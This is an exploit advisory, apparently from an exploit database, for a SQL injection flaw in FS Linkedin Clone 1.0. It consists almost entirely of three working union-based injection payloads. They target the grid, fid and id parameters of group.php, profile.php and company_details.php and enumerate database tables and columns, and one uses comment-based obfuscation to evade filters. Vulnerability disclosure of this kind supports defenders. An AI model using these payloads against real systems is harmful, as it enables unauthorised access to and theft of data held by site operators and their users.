FS Linkedin Clone version 1.0 suffers from a remote SQL injection vulnerability.
a69191deb4e2e6eaadaa3721c9130c68# # # # #
# Exploit Title: FS Linkedin Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/linkedin-clone/
# Demo: http://linkedin-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
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# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
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# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# 1)
# http://localhost/[PATH]/group.php?grid=[SQL]
#
# -1'++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6,7,8,9,10,11,12,13,14--+-
#
# http://server/group.php?grid=-1'++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6,7,8,9,10,11,12,13,14--+-
#
# 2)
# http://localhost/[PATH]/profile.php?fid=[SQL]
#
# -44'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11))--+-
#
# http://server/profile.php?fid=-44'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11))--+-
#
# 3)
# http://localhost/[PATH]/company_details.php?id=[SQL]
#
# -9491e369853df766fa44e1ed0ff613f563bd'++UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),4,5,6,7--+-
#
# http://server/company_details.php?id=-9491e369853df766fa44e1ed0ff613f563bd'++UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),4,5,6,7--+-
#
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